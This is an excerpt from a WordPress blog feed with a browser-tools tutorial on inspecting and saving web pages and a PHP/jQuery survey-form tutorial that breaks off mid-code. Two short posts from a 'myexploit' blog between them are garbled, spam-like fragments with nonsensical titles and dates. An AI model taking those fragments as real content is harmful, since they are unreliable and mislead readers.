<p><a href="http://upcomingtechies.wordpress.com/2012/09/08/tools-that-helps-in-exploring-and-modifying-web-pages/firebug/" rel="attachment wp-att-44"><img class="alignnone size-full wp-image-44" alt="firebug" src="http://upcomingtechies.files.wordpress.com/2012/09/firebug.jpg?w=560&#038;h=191" width="560" height="191" /></a></p>
<p>Developer tool bar for chrome:</p>
<p><a href="http://upcomingtechies.files.wordpress.com/2012/09/chromedtb1.png"><img class="alignnone size-full wp-image-35" title="chromeDTB" alt="" src="http://upcomingtechies.files.wordpress.com/2012/09/chromedtb1.png?w=490&#038;h=321" width="490" height="321" /></a></p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Tutorial: How to Inspect, Edit, and Save a Web Page]]></title>
<link>http://lorelleteaches.com/2012/09/08/tutorial-how-to-inspect-edit-and-save-a-web-page/</link>
<pubDate>Sat, 08 Sep 2012 11:37:41 +0000</pubDate>
<dc:creator>Lorelle VanFossen</dc:creator>
<guid>http://lorelleteaches.com/2012/09/08/tutorial-how-to-inspect-edit-and-save-a-web-page/</guid>
<description><![CDATA[This tutorial from the HTML Fundamentals Class I taught at Clark College in Vancouver, Washington, i]]></description>
<content:encoded><![CDATA[<p>This tutorial from the HTML Fundamentals Class I taught at Clark College in Vancouver, Washington, is a guide that will show you how to:</p>
<ul>
<li>View the source code of a web page.</li>
<li>How to save a web page to your computer</li>
<li>How to view a saved web page on your computer</li>
<li>How to open a web page in your text editor</li>
<li>How to view the CSS/Stylesheet for a web page</li>
<li>How to inspect the HTML and CSS of a web page</li>
<li>How to view and edit a web page at the same time</li>
</ul>
<p>To begin this tutorial, have your web browser and text editor open on your computer. It does not matter which browser or text editor you are using. The process is basically the same.</p>
<h2>How to view the source code of a web page</h2>
<ol>
<li>Go to a web page such as the test page for the class, <a title="Welcome to Lorelle VanFossen CTEC 122 HTML Fundamentals Class" href="http://ctec.clark.edu/%7Elvanfossen/index.html">Welcome to Lorelle VanFossen CTEC 122 HTML Fundamentals Class</a> on the Clark Web Server.</li>
<li>Right click on an empty space on the web page and choose <strong>View Page Source</strong> or <strong>View Source</strong>.</li>
<li>The resulting popup window (or tab) will show you the underlying HTML structure of the page.</li>
<li>You may save this to your hard drive or go back and save the entire web page to your computer.</li>
</ol>
<p><!--more--></p>
<h2>How to save a web page to your computer</h2>
<ol>
<li>Go to a web page such as the test page for the class, <a title="Welcome to Lorelle VanFossen CTEC 122 HTML Fundamentals Class" href="http://ctec.clark.edu/%7Elvanfossen/index.html">Welcome to Lorelle VanFossen CTEC 122 HTML Fundamentals Class</a> on the Clark Web Server.</li>
<li>Right click on an empty space on the web page and choose <strong>Save Page As</strong> or <strong>Save As</strong>.</li>
<li>Choose a file name to remind you of the purpose or content of the page.</li>
<li>Save the web page to an appropriate spot on your computer&#8217;s hard drive, such as with the rest of your class materials.</li>
</ol>
<h2>How to view a saved web page on your computer</h2>
<ol>
<li>In a file manager, locate the HTML version of the page in the folder where you saved it.</li>
<li>You will find the HTML page file and a folder with the same name as the web page you saved. Images and supporting code and content are found in that folder.</li>
<li>Double click on the HTML page.</li>
<li>The page will appear in your browser tabs.</li>
</ol>
<h2>How to open a web page in your text editor</h2>
<ol>
<li>From within the Text Editor, choose <strong>File &#62; Open</strong>, just as you would with a word processor.</li>
<li>In the file window, locate the HTML version of the page in the folder where you saved it.</li>
<li>Choose the file and click <strong>Open</strong> or <strong>Okay</strong>.</li>
<li>The result will not be the pretty web page but the HTML source code for the web page.</li>
<li><strong>NOTE:</strong> If you choose to experiment and edit the web page, please save it with a different name or version number.</li>
</ol>
<h2>How to view the CSS/Stylesheet for a web page</h2>
<ol>
<li>From within the Text Editor, choose <strong>File &#62; Open</strong>, just as you would with a word processor.</li>
<li>In the file window, locate the HTML version of the page in the folder where you saved it.</li>
<li>In the same folder or in the accompanying folder, look for a file with the extension .css. There may be multiple CSS files. Choose the one named styles.css, stylesheet.css, or another similar name.</li>
<li>Choose the file and click <strong>Open</strong> or <strong>Okay</strong>.</li>
<li>The result will be the CSS styles for the web page.</li>
<li><strong>NOTE:</strong> If you choose to experiment and edit the stylesheet, please save it with a different name or version number.</li>
</ol>
<h2>How to inspect the HTML and CSS of a web page</h2>
<p>Most web browsers come with some form of web developer tool built-in. You may also add web browser extensions to inspect the HTML, CSS, and underlying technologies of a web page. Check the browser documentation as well as the source documentation from the list below.</p>
<ul>
<li><a title="Firebug" href="http://getfirebug.com/">Firebug</a></li>
<li><a title="Web Developer" href="http://chrispederick.com/work/web-developer/">Web Developer</a></li>
<li><a title="Google Chrome Developer Tools" href="http://code.google.com/chrome/devtools/">Google Chrome Web Developer Tools</a></li>
<li><a title="Internet Explorer Web Developer Toolbar" href="http://www.microsoft.com/downloads/details.aspx?familyid=e59c3964-672d-4511-bb3e-2d5e1db91038&#38;displaylang=en">Internet Explorer Web Developer Toolbar</a></li>
</ul>
<p>You can find <a title="25 Secrets of the Browser Developer Tools – AndiSmith.com" href="http://www.andismith.com/blog/2011/11/25-dev-tool-secrets/">more &#34;secret&#34; web development tools in an article by Andi Smith</a> with tips on which ones are built-in and how to use them. Also check out <a title="15 Helpful In-Browser Web Development Tools &#124; Smashing Magazine" href="http://www.smashingmagazine.com/2008/11/18/15-helpful-in-browser-web-development-tools/">15 Helpful In-Browser Web Development Tools from Smashing Magazine</a>.</p>
<h2>How to view and edit a web page at the same time</h2>
<ol>
<li>Open your web browser and text editor.</p>
<ul>
<li>If you have a large screen or more than one screen, move the web browser to one and the text editor to another.</li>
<li>If you do not have a large screen, use a keyboard shortcut like ALT+TAB or Command+TAB to quickly switch between them, or position the windows next to each other so they split the screen.</li>
</ul>
</li>
<li>Open the file you wish to edit in the text editor and in the web browser (<strong>File &#62; Open</strong>).</li>
<li>Make edits to the file in the text editor and save them.</li>
<li>Switch focus to the web browser and reload/refresh the web page (F5).</li>
<li>Continue making edits and switching to the browser to check your results.</li>
</ol>
<p>Want to make this process even easier? </p>
<p>In <a href="http://community.spiceworks.com/how_to/show/546" title="Open Page Source in Favorite Text Editor - Firefox - Spiceworks">this tutorial on setting the text editor default in Firefox by SpiceWorks</a>, you can view the page source and edit it in your text editor quickly and easily.</p>
<ol>
<li>Open Firefox and type in <code>about:config</code> into the address bar.</li>
<li>Click that you will be careful</li>
<li>In the <strong>Filter</strong> or <strong>Search</strong>, type <code>view_source.editor</code>. Three items will be in the results.</li>
<li>Double click <code>view_source.editor.external</code>.</li>
<li>Change the value to <strong>TRUE</strong> by double clicking it or choosing to edit.</li>
<li>Double click <code>view_source.editor.path</code></li>
<li>Change the path to that of your editor. If you are using Notepad++, it would be <code>c:\Program%20Files%20(x86)\Notepad++\notepad++.exe</code>. <strong>NOTE:</strong> Firefox does not like the spaces in between the letters. Use %20 instead of spaces. It may take some playing around with the link, but it does work.</li>
<li>Close Firefox and reload it.</li>
</ol>
<p>Firefox should now be configured to open the page source in your text editor.</p>
<p>To use this feature, you can copy the HTML or CSS you wish to experiment with and paste it into your web page or a test page, or you can save it to your computer along with the web page to edit and experiment with it there. Or, if it is your own web page, make the appropriate changes and upload it to your server.</p>
<p>Other tutorials on how to do this include:</p>
<ul>
<li><a href="http://www.howtogeek.com/howto/2246/view-webpage-source-code-in-your-favorite-text-editor-firefox/" title="View Webpage Source Code in Your Favorite Text Editor – Firefox - How-To Geek">View Webpage Source Code in Your Favorite Text Editor – Firefox &#8211; How-To Geek</a></li>
<li><a href="http://blog.ffextensionguru.com/2007/08/14/tip-change-default-text-editor-in-fx/" title="Tip: Change Default Text Editor in Fx &#124; Firefox Extension Guru's Blog">Tip: Change Default Text Editor in Fx &#124; Firefox Extension Guru&#8217;s Blog</a></li>
</ul>
]]></content:encoded>
</item>
<item>
<title><![CDATA[How do you know if your wife doesn't love you anymore? ... (often confused]]></title>
<link>http://myexploit.wordpress.com/2012/09/07/how-do-you-know-if-your-wife-doesnt-love-you-anymore-often-confused/</link>
<pubDate>Fri, 07 Sep 2012 12:58:25 +0000</pubDate>
<dc:creator>myexploit</dc:creator>
<guid>http://myexploit.wordpress.com/2012/09/07/how-do-you-know-if-your-wife-doesnt-love-you-anymore-often-confused/</guid>
<description><![CDATA[During a recent penetration test we found the host it is running on. An SNMP 1 Feb 2012 – How much f]]></description>
<content:encoded><![CDATA[<p>During a recent penetration test we found <img src='http://s1.wp.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' />  the <em>host</em> it is <em>running</em> <del>on. An</del> <em>SNMP </em></p>
<p><del>1 Feb 2012 –</del> <em>How much fun can you</em> have <del>with a hard hat</del>?</p>
<p><a href="https://myexploit.wordpress.com/information-gathering-snmp/" target="_blank">https://myexploit.wordpress.com/information-gathering-snmp/</a></p>
<p style="text-align:right;">Love SNMP OR &#8216;MyExploitHQ</p>
<p style="text-align:right;">established 1441</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Apr 29, 3600 – An enjoyable read, and the author already has another ]]></title>
<link>http://myexploit.wordpress.com/2012/08/30/apr-29-3600-an-enjoyable-read-and-the-author-already-has-another/</link>
<pubDate>Thu, 30 Aug 2012 09:32:54 +0000</pubDate>
<dc:creator>myexploit</dc:creator>
<guid>http://myexploit.wordpress.com/2012/08/30/apr-29-3600-an-enjoyable-read-and-the-author-already-has-another/</guid>
<description><![CDATA[My exploit enjoy stumbling across sites of interest. Discovery is fun! Every so often a site shows i]]></description>
<content:encoded><![CDATA[<p style="text-align:left;">My exploit enjoy stumbling across sites of interest. Discovery is fun!</p>
<p>Every so often a site shows itself to us direct, via a nudge or two. It&#8217;s good to be shown a new thing.</p>
<p>MyExploit welcome the Italian pentester, Please share your love and read scoperchiatore.wordpress.com</p>
<p style="text-align:right;">share a link day!</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[Implementing Fallback Strategy]]></title>
<link>http://sitepop.wordpress.com/2012/08/28/implementing-fallback-strategy/</link>
<pubDate>Tue, 28 Aug 2012 13:45:36 +0000</pubDate>
<dc:creator>Donald Howard</dc:creator>
<guid>http://sitepop.wordpress.com/2012/08/28/implementing-fallback-strategy/</guid>
<description><![CDATA[I Implementing a Fallback Strategy Session I What is a fallback strategy? For me a fallback strategy]]></description>
<content:encoded><![CDATA[<h2><span style="color:#ffffff;">I<a href="http://sitepop.files.wordpress.com/2012/02/sitepop_legend.jpg"><img class="alignright size-medium wp-image-372" title="SitePOP_Legend" src="http://sitepop.files.wordpress.com/2012/02/sitepop_legend.jpg?w=300&#038;h=150" alt="" width="300" height="150" /></a></span></h2>
<h2>Implementing a Fallback Strategy Session</h2>
<h2><span style="color:#ffffff;">I</span></h2>
<p>What is a fallback strategy? For me a fallback strategy is designing an application or feature so that if the User has disabled JavaScript in their browser the application or feature will still work using standard server-side logic. And if JavaScript is enabled the client-side logic will guide the process and much of the server-side logic will be bypassed. Toward this end I have created a survey that can be served up on any website to solicit user feedback. In this example the survey will be composed of six questions about on-line shopping. Because I wish to make this work for both users who have enabled and disabled JavaScript, the survey, should the User decide to participate, will take them to a PHP Controller file that will always manage the start and finish of the survey. This part cannot be bypassed. If you are not familiar with &#8216;Controller&#8217; files in PHP see my session <a title="PHP – Controller Template" href="http://sitepop.wordpress.com/2012/01/03/php-controller-template/" target="_blank">&#8216;PHP – Controller Template&#8217;</a>.</p>
<p>I always start these PHP / jQuery combinations with the PHP components. Said another way, I create the code to support the server-side logic and when that works I create the client-side logic. I won&#8217;t bother to show all the server-side code just the pieces that are important in this dual approach (fallback strategy).</p>
<p>So the User has come to our site and clicked something which we intercepted and presented them an opportunity to participate is a short survey. If they decline we send them on to their original request if they accept we send them to our Survey Controller. As is always the case, my controller files have a default page representing the main page for the topic. In this case the Survey introduction &#8211; “include &#8216;/html/surveyIntroForm.html.php&#8217;;”</p>
<p>As said earlier this is the same for both the JavaScript enabled and disabled approach. After this initial page however the two approaches are quite different.</p>
<p>The following is a snippet of the HTML from the initial page. Pay particular attention to the first HTML form element. This is set to submit the form in the standard PHP controller fashion, i.e., back to the Controller file (index.php) that originally served the page. If JavaScript is disabled that is how the page will be submitted.</p>
<address><span style="color:#666699;">     &#60;<strong>form</strong> id=&#8221;allForm&#8221; action=&#8217; &#8216; method=&#8217;post&#8217;&#62;</span></address>
<address><span style="color:#666699;">          &#60;div id=&#8221;<strong>surveyQuest</strong>&#8220;&#62;</span></address>
<address><span style="color:#666699;">               &#60;div id=&#8221;<strong>identify</strong>&#8220;&#62;</span></address>
<address><span style="color:#666699;">                    &#60;&#8230;./&#62; establish respondent sample frame</span></address>
<address><span style="color:#666699;">                    &#60;&#8230;./&#62; collapsed div – gender question</span></address>
<address><span style="color:#666699;">                    &#60;&#8230;./&#62; collapsed div – age question</span></address>
<address><span style="color:#666699;">               &#60;/div&#62;</span></address>
<address> </address>
<address><span style="color:#666699;">               <strong>&#60;!&#8211; Here is where we serve up questions. &#8211;&#62;</strong></span></address>
<address> </address>
<address><span style="color:#666699;">               &#60;div id=&#8221;<strong>errMsg</strong>&#8220;&#62;</span></address>
<address><span style="color:#666699;">                    &#60;p&#62; <strong><span style="color:#ff6600;">&#60;</span><span style="color:#ff6600;">?</span><span style="color:#ff6600;">php</span></strong> if(isset($_SESSION['err'])) {</span></address>
<address><span style="color:#666699;">                              echo $_SESSION['err'];</span></address>
<address><span style="color:#666699;">                              }<strong><span style="color:#ff6600;">?&#62; </span></strong></span></address>
<address><span style="color:#666699;">                    &#60;/p&#62;</span></address>
<address><span style="color:#666699;">               &#60;/div&#62;</span></address>
<address> </address>
<address><span style="color:#666699;">               &#60;div class=&#8221;start&#8221;&#62;</span></address>
<address><span style="color:#666699;">                    &#60;button type=&#8221;submit&#8221; name=&#8221;Q1&#8243; id=&#8221;Q1&#8243;</span></address>
<address><span style="color:#666699;">                         title=&#8221;Click to start the survey&#8221;&#62;</span></address>
<address><span style="color:#666699;">                         Start Survey </span></address>
<address><span style="color:#666699;">                    &#60;/button&#62;</span></address>
<address><span style="color:#666699;">               &#60;/div&#62;</span></address>
<address> </address>
<address><span style="color:#666699;">          &#60;/div&#62;</span></address>
<address><span style="color:#666699;">     <strong>&#60;/form&#62;</strong></span></address>
<address> </address>
<address><span style="color:#666699;">     &#60;form id=&#8221;<strong>ajaxForm</strong>&#8221; name=&#8221;ajaxFrom&#8221; action=&#8221; method=&#8217;post&#8217;&#62;</span></address>
<address><span style="color:#666699;">          &#60;button type=&#8221;submit&#8221; name=&#8221;saveOut&#8221;</span></address>
<address><span style="color:#666699;">               id=&#8221;<strong>saveOut</strong>&#8221; class=&#8221;hide&#8221;&#62;</span></address>
<address><span style="color:#666699;">          &#60;/button&#62;</span></address>
<address><span style="color:#666699;">          &#60;button type=&#8221;submit&#8221; name=&#8221;failOut&#8221;</span></address>
<address><span style="color:#666699;">               id=&#8221;<strong>failOut</strong>&#8221; class=&#8221;hide&#8221;&#62;</span></address>
<address><span style="color:#666699;">          &#60;/button&#62;</span></address>
<address><span style="color:#666699;">     &#60;/form&#62;</span></address>
<address> </address>
<p>The <strong><span style="color:#666699;">&#8216;surveyQuest&#8217;</span> </strong>div element is only used in the client-side approach. When JavaScript is enabled, jQuery will load each question into this form between this &#8216;div&#8217; element. Note that the Ajax load() method we will be using will automatically delete the current contents before inserting the new. More on this later.</p>
<p>Next you will note the <strong><span style="color:#666699;">&#8216;identify&#8217;</span> </strong>div element. This div is a container to hold some general sample frame questions and components that are only used in the pre-survey process. These sample frame questions will be removed once the jQuery process begins.</p>
<p>Next the <strong><span style="color:#666699;">&#8216;errMsg&#8217;</span> </strong>div element will be used to handle the only possible error in this survey design and that is the failure of the User to respond to the question. Note that for the server-side approach we embed PHP within the HTML using a Session variable &#8216;err&#8217; to communicate a failure to respond. If jQuery is enabled we will place the error message in the <strong><span style="color:#666699;">&#8216;errMsg&#8217;</span> </strong>div element, between the &#8216;p&#8217; elements. The PHP will simply be ignored because the Session variable will not have been set.</p>
<p>The submit &#8216;button&#8217; element that follows is important because it will trigger the &#8216;submit&#8217; event in the server-side logic or the &#8216;click&#8217; event in the client-side logic. To work in the PHP (server-side) world the button must be within the HTML &#8216;form&#8217; elements in the jQuery (client-side) world this is not required.</p>
<p>Finally there is a second form that will only be used client-side to exit us back to the PHP Controller file at the conclusion of the survey. The <strong><span style="color:#666699;">&#8216;ajaxForm&#8217;</span> </strong>form element will be triggered within our jQuery script. <strong><span style="color:#666699;">SaveOut</span> </strong>will be triggered if the Ajax post method is successful and <strong><span style="color:#666699;">failOut</span> </strong>if not. We will show you the jQuery logic that defines these events in a moment.</p>
<p>IN A PURELY CLIENT-SIDE (jQuery) APPROACH THIS IS THE ONLY HTML FORM WE WOULD NEED!</p>
<p>However, seeing that we are using a dual approach (client and server-side) we will take advantage to the server-side design to make our jQuery fairly simple. For this survey we will serve up each survey question as a single page or form. This is simple to duplicate in both approaches. Here is a snippet of one of the server-side Survey questions (HTML page). Note that HTML page wraps the question in a form so that we can submit and process the response with the PHP Controller file.</p>
<address><span style="color:#666699;">     &#60;form id=&#8221;qForm&#8221; action=&#8221; method=&#8217;post&#8217;&#62;</span></address>
<address><strong><span style="color:#666699;">          &#60;div class=&#8221;question&#8221;&#62;</span></strong></address>
<address><span style="color:#666699;">               &#60;div&#62;</span></address>
<address><span style="color:#666699;">                    &#60;h1&#62; Question #1 &#60;/h1&#62;</span></address>
<address><span style="color:#666699;">                &#60;/div&#62;</span></address>
<address> </address>
<address><span style="color:#666699;">               &#60;div&#62;</span></address>
<address><span style="color:#666699;">                    &#60;p class=&#8221;Q&#8221;&#62;On average, how frequently do you shop on-line?&#60;/p&#62;</span></address>
<address><span style="color:#666699;">               &#60;/div&#62;</span></address>
<address><span style="color:#666699;"> </span></address>
<address><span style="color:#666699;">              &#60;div class=&#8221;group&#8221;&#62;</span></address>
<address><span style="color:#666699;">                    &#60;div&#62;</span></address>
<address><span style="color:#666699;">                         &#60;input type=&#8217;radio&#8217; id=&#8221;daily&#8221; name=&#8221;howOften&#8221; value=&#8221;Daily&#8221;&#62;</span></address>
<address><span style="color:#666699;">                         &#60;label for=&#8221;daily&#8221;&#62; Daily &#60;/label&#62;</span></address>
<address><span style="color:#666699;">                    &#60;/div&#62;</span></address>
<address><span style="color:#666699;">                    &#60;div&#62;</span></address>
<address><span style="color:#666699;">                         &#60;input type=&#8217;radio&#8217; id=&#8221;week3&#8243; name=&#8221;howOften&#8221;</span></address>
<address><span style="color:#666699;">                              value=&#8221;Several times a week&#8221;/&#62;</span></address>
<address><span style="color:#666699;">                         &#60;label for=&#8221;week3&#8243;&#62; Several times a week &#60;/label&#62;</span></address>
<address><span style="color:#666699;">                    &#60;/div&#62;</span></address>
<address><span style="color:#666699;">                    &#60;div&#62;</span></address>
<address><span style="color:#666699;">                         &#60;input type=&#8217;radio&#8217; id=&#8221;week1&#8243; name=&#8221;howOften&#8221;</span></address>
<address><span style="color:#666699;">                              value=&#8221;Once a week&#8221;/&#62;</span></address>
<address><span style="color:#666699;">                         &#60;label for=&#8221;week1&#8243;&#62; Once a week &#60;/label&#62;</span></address>
<address><span style="color:#666699;">                    &#60;/div&#62;</span></address>
<address><span style="color:#666699;">                    &#60;div&#62;</span></address>
<address><span style="color:#666699;">                         &#60;input type=&#8217;radio&#8217; id=&#8221;month3&#8243; name=&#8221;howOften&#8221;</span></address>
<address><span style="color:#666699;">                              value=&#8221;Several times a month&#8221;/&#62;</span></address>
<address><span style="color:#666699;">                         &#60;label for=&#8221;month3&#8243;&#62; Several times a month &#60;/label&#62;</span></address>
<address><span style="color:#666699;">                    &#60;/div&#62;</span></address>
<address><span style="color:#666699;">                    &#60;div&#62;</span></address>
<address><span style="color:#666699;">                         &#60;input type=&#8217;radio&#8217; id=&#8221;month1&#8243; name=&#8221;howOften&#8221;</span></address>
<address><span style="color:#666699;">                              value=&#8221;Once a month&#8221;/&#62;</span></address>
<address><span style="color:#666699;">                         &#60;label for=&#8221;month1&#8243;&#62; Once a month &#60;/label&#62;</span></address>
<address><span style="color:#666699;">                    &#60;/div&#62;</span></address>
<address><span style="color:#666699;">                    &#60;div&#62;</span></address>
<address><span style="color:#666699;">                         &#60;input type=&#8217;radio&#8217; id=&#8221;monthLess&#8221; name=&#8221;howOften&#8221;</span></address>
<address><span style="color:#666699;">                              value=&#8221;Less than once a month&#8221;/&#62;</span></address>
<address><span style="color:#666699;">                         &#60;label for=&#8221;monthLess&#8221;&#62; Less than once a month &#60;/label&#62;</span></address>
<address><span style="color:#666699;">                     &#60;/div&#62;</span></address>
<address><span style="color:#666699;">               &#60;/div&#62;</span></address>
<address> </address>
<address><span style="color:#666699;">               &#60;div id=&#8221;errMsg&#8221;&#62;</span></address>
<address><span style="color:#666699;">                    &#60;p&#62; <strong><span style="color:#ff6600;">&#60;?php</span> </strong>if(isset($_SESSION['err'])) {</span></address>
<address><span style="color:#666699;">                              echo $_SESSION['err'];</span></address>
<address><span style="color:#666699;">                              }<strong><span style="color:#ff6600;">?&#62; </span></strong></span></address>
<address><span style="color:#666699;">                    &#60;/p&#62;</span></address>
<address><span style="color:#666699;">               &#60;/div&#62;</span></address>
<address> </address>
<address><span style="color:#666699;">               &#60;div class=&#8221;next&#8221;&#62;</span></address>
<address><span style="color:#666699;">                    &#60;button type=&#8221;submit&#8221; <strong>name=&#8221;Q2&#8243; id=&#8221;Q2&#8243;</strong></span></address>
<address><span style="color:#666699;">                         title=&#8221;Click for next question&#8221;&#62;</span></address>
<address><span style="color:#666699;">                         Next &#62;&#62;&#62; </span></address>
<address><span style="color:#666699;">                    &#60;/button&#62;</span></address>
<address><span style="color:#666699;">               &#60;/div&#62;</span></address>
<address><span style="color:#666699;">          <strong>&#60;/div&#62;</strong></span></address>
<address><span style="color:#666699;">     &#60;/form&#62;</span></address>
<address> </address>
<p>As you can see each page will have the same &#8216;errMsg&#8217; div element to display a message in case the User fails to respond. Again we have embedded PHP into the HTML for the server-side validation process.</p>
<p>Next we again have a &#8216;button&#8217; element but in this case the name and id are &#8216;Q2&#8242; rather then &#8216;Q1&#8242; as on the initial page. All of our survey submit buttons will follow the naming convention of capital letter followed by a single integer 1-8. This will be important in our jQuery logic.</p>
<p>NOTE the <strong><span style="color:#666699;">div class = &#8216;question&#8217;</span></strong>, we added this div element to isolate just the Survey question HTML, that we will want to use in our jQuery logic, from the rest of the page. That is the only customization that we needed to make in each of the HTML Survey question pages to accommodate our dual approach.</p>
<p>Now lets look at the PHP Controller file that will be managing the non-script approach. Again, if you are not familiar with the centralized approach of a Controller file please review &#8211; <a title="PHP – Controller Template" href="http://sitepop.wordpress.com/2012/01/03/php-controller-template/">PHP – Controller Template </a>- before continuing.</p>
<p>Our default form (web page) is always at the bottom of the Controller file without any conditional access.</p>
<address><span style="color:#008080;">          $_SESSION['survey']= new Survey();</span></address>
<address><span style="color:#008080;">          include &#8216;/html/surveyIntroForm.html.php&#8217;;</span></address>
<address><span style="color:#008080;">          exit();</span></address>
<address> </address>
<p>The &#8216;Survey&#8217; Class represents a convenience class that we created to carry the user responses to our survey questions. We assign it to a Session variable &#8216;survey&#8217; so that it is available throughout the session. Then we simply load the initial form for the survey process. The initial form is purely PHP and will launch the client-side logic if JavaScript is enabled or server-side if it is not. The introduction to the survey process looks something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/surveyform0.jpg"><img class="aligncenter size-full wp-image-1133" title="SurveyForm0" src="http://sitepop.files.wordpress.com/2012/09/surveyform0.jpg?w=500&#038;h=424" alt="" width="500" height="424" /></a></p>
<p>Assuming that JavaScript is NOT enabled, when the user clicks the &#8216;Start Survey&#8217; button element as shown in this HTML snippet:</p>
<address><span style="color:#666699;">     &#60;div class=&#8221;start&#8221;&#62;</span></address>
<address><span style="color:#666699;">          &#60;button type=&#8221;submit&#8221; <strong>name=&#8221;Q1&#8243; id=&#8221;Q1&#8243;</strong></span></address>
<address><span style="color:#666699;">               title=&#8221;Click to start the survey&#8221;&#62;</span></address>
<address><span style="color:#666699;">               Start Survey </span></address>
<address><span style="color:#666699;">          &#60;/button&#62;</span></address>
<address><span style="color:#666699;">     &#60;/div&#62;</span></address>
<address> </address>
<p>they will be taken to the Controller file where the button elements name attribute will be passed back as a post variable of the same name (<strong><span style="color:#666699;">Q1</span></strong>). Once back in the Controller the logic will flow down until it satisfies this condition statement:</p>
<address><span style="color:#008080;">     if( <strong>isset($_POST['Q1'])</strong> &#124;&#124; (isset($_SESSION['action'])</span></address>
<address><span style="color:#008080;">               &#38;&#38; $_SESSION['action']==&#8217;Q1&#8242;)) {</span></address>
<address><span style="color:#008080;">          try {</span></address>
<address><span style="color:#008080;">               $page = &#8216;/html/surveyQuestionOne.html.php&#8217;;</span></address>
<address><span style="color:#008080;">               viewer($page);</span></address>
<address><span style="color:#008080;">               exit();</span></address>
<address><span style="color:#008080;">          } catch(Exception $i) {</span></address>
<address><span style="color:#008080;">              $_SESSION[<strong>'err'</strong>] = $i;</span></address>
<address><span style="color:#008080;">               header(&#8216;Location: .&#8217;);</span></address>
<address><span style="color:#008080;">               exit();</span></address>
<address><span style="color:#008080;">          }</span></address>
<address><span style="color:#008080;">     }</span></address>
<address> </address>
<p>This is a standard Controller script segment which validates that the User answered the two survey frame questions and then loads the first survey question. If one or more of the survey frame questions was not answered the User is returned to the initial page with an error displayed via the session variable <span style="color:#008080;"><strong>&#8216;err&#8217;</strong></span>, as this HTML snippet shows.</p>
<address><span style="color:#666699;">     &#60;div id=&#8221;errMsg&#8221;&#62;</span></address>
<address><span style="color:#666699;">          &#60;p&#62; <strong><span style="color:#ff6600;">&#60;?php</span> </strong>if(isset($_SESSION['err'])) {</span></address>
<address><span style="color:#666699;">                    echo $_SESSION['err'];</span></address>
<address><span style="color:#666699;">                    }<strong><span style="color:#ff6600;">?&#62; </span></strong></span></address>
<address><span style="color:#666699;">          &#60;/p&#62;</span></address>
<address><span style="color:#666699;">     &#60;/div&#62;</span></address>
<address> </address>
<p>The logic to validate the prior page and present the next is encapsulated in the viewer function. This is not a session on PHP so I&#8217;m not going to explain the detail of what is happening there. If validation is passed the Survey question will be presented and appear something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/surveyform1.jpg"><img class="aligncenter size-full wp-image-1135" title="SurveyForm1" src="http://sitepop.files.wordpress.com/2012/09/surveyform1.jpg?w=500&#038;h=303" alt="" width="500" height="303" /></a></p>
<p>Each page as we progress through the survey has a different &#8216;button&#8217; element (“<strong><span style="color:#666699;">Next&#62;&#62;&#62;</span></strong>”). Question #1 as shown above has the following HTML snippet:</p>
<address><span style="color:#666699;">          &#60;button type=&#8221;submit&#8221; <strong>name=&#8221;Q2&#8243; id=&#8221;Q2&#8243;</strong></span></address>
<address><span style="color:#666699;">               title=&#8221;Click for next question&#8221;&#62;</span></address>
<address><span style="color:#666699;">               Next &#62;&#62;&#62;</span></address>
<address><span style="color:#666699;">          &#60;/button&#62;</span></address>
<address> </address>
<p>Which will trigger the next question and so on. That&#8217;s pretty much the extent to the server-side (PHP) logic.</p>
<p>Now lets examine how we could to the same thing using a combination of PHP and jQuery; in a predominantly client-side solution.</p>
<p>We begin by creating a custom JavaScript file that will contain our Survey specific jQuery logic. The same information could be included directly in the web page rather than as a file. Files are just easier to manage. To create a new &#8216;js&#8217; file in the Netbeans IDE I select (highlighted) the folder I wish to create the file in (jQueryPak) and using the right mouse button to access the contact menu I select New / JavaScript file, as shown here:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/netbeanscreatejsfile.jpg"><img class="aligncenter size-medium wp-image-1132" title="NetBeansCreateJSFile" src="http://sitepop.files.wordpress.com/2012/09/netbeanscreatejsfile.jpg?w=300&#038;h=256" alt="" width="300" height="256" /></a></p>
<p>Once the file is created we begin with the jQuery ready method!</p>
<address><span style="color:#993366;">          <span style="color:#000080;"><strong>$</strong></span>(document).ready(function(){</span></address>
<address><span style="color:#993366;">               &#8230; jQuery Script &#8230;</span></address>
<address><span style="color:#993366;">          });</span></address>
<address> </address>
<p>The code inside the above .ready() method will only run once the page is ready. The dollar sign (<span style="color:#000080;"><strong>$</strong></span>) is synonymous for jQuery, so <strong><span style="color:#993366;">&#8216;jQuery(document).ready(function() { &#8230; });</span></strong>&#8216; is the same thing! If you do not know these things stop now and read through my <a title="jQuery Essentials" href="http://sitepop.wordpress.com/2012/07/31/jquery-essentials/" target="_blank">&#8216;jQuery Essentials Session&#8217; </a>before proceeding.</p>
<p>Before we actually begin to fill in code lets consider what we want to accomplish and what resources are available.</p>
<p>We want the survey to be presented one question at a time just as we did with the client-side. The questions should be presented in the same order and the same format. To do this we will use the individual pages from the server-side approach and extract the question HTML component. We want the question presentation to be smooth, fast, user friendly and perhaps include a bit of &#8216;pop&#8217; in the form of an animation.</p>
<p>To start we need to determine how we are going to get the Survey questions. We already know where we are going to place them as we retrieve them using jQuery Ajax.</p>
<address><span style="color:#666699;">          &#60;div id=&#8221;surveyQuest&#8221;&#62;</span></address>
<address> </address>
<address><span style="color:#666699;">               &#60;!&#8211; Here is where we serve up questions. &#8211;&#62;</span></address>
<address> </address>
<address><span style="color:#666699;">          &#60;/div&#62;</span></address>
<address> </address>
<p>If you are using an older release of jQuery, as I am, you may not be able to use the &#8216;on&#8217; method. So for this exercise I have used the &#8216;delegate&#8217; method. Here is how the core event in the jQuery Survey logic is setup:</p>
<address><span style="color:#993366;">     $(document).ready(function(){</span></address>
<address><span style="color:#993366;">          var idx = 0;</span></address>
<address><span style="color:#993366;">          <strong>$(&#8216;#surveyQuest&#8217;).delegate(&#8216;button&#8217;,'click&#8217;, function(eve){</strong></span></address>
<address><span style="color:#993366;">               eve.preventDefault();</span></address>
<address><span style="color:#993366;">               var name = this.name;</span></address>
<address><span style="color:#993366;">               var idx = (name.substr(-1))-1;</span></address>
<address><span style="color:#993366;">               var valid = isValidResponse(idx);</span></address>
